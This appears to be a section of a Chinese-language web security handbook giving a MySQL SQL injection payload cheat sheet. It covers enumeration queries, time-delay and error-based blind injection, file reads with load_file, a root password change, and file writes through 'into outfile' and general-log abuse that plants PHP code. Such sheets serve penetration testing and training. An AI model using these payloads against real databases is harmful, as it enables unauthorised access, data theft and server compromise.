Question

4.1.7.2. MySQL Payload

4.1.7.2.1. 常见Payload

• Version

  • SELECT @@version

• Comment

  • SELECT 1 -- comment
  • SELECT 1 # comment
  • SELECT /*comment*/1

• Space

  • 0x9 0xa-0xd 0x20 0xa0

• Current User

  • SELECT user()
  • SELECT system_user()
  • SELECT current_role()

• List User

  • SELECT user FROM mysql.user

• Current Database

  • SELECT database()

• List Database

  • SELECT schema_name FROM information_schema.schemata

• List Tables

  • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

• List Columns

  • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

• If

  • SELECT if(1=1,'foo','bar'); return 'foo'

• Ascii

  • SELECT char(0x41)
  • SELECT ascii('A')
  • SELECT 0x414243 => return ABC

• Delay

  • sleep(1)
  • SELECT BENCHMARK(1000000,MD5('A'))

• Read File

  • select @@datadir
  • select load_file('databasename/tablename.MYD')

• Blind

  • ascii(substring(str,pos,length)) & 32 = 1

• Error Based

  • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
  • select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))

• Change Password

  • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"

4.1.7.2.1.1. 报错注入常见函数

• extractvalue
• updatexml
• GeometryCollection
• linestring
• multilinestring
• multipoint
• multipolygon
• polygon
• exp

4.1.7.2.2. 写文件

4.1.7.2.2.1. 写文件前提

• root 权限
• 知晓文件绝对路径
• 写入的路径存在写入权限
• secure_file_priv 允许向对应位置写入
• select count(file_priv) from mysql.user

4.1.7.2.2.2. 基于 into 写文件

union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于，outfile会在行末端写入新行，会转义换行符，如果写入二进制文件，很可能被这种特性破坏

4.1.7.2.2.3. 基于 log 写文件

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;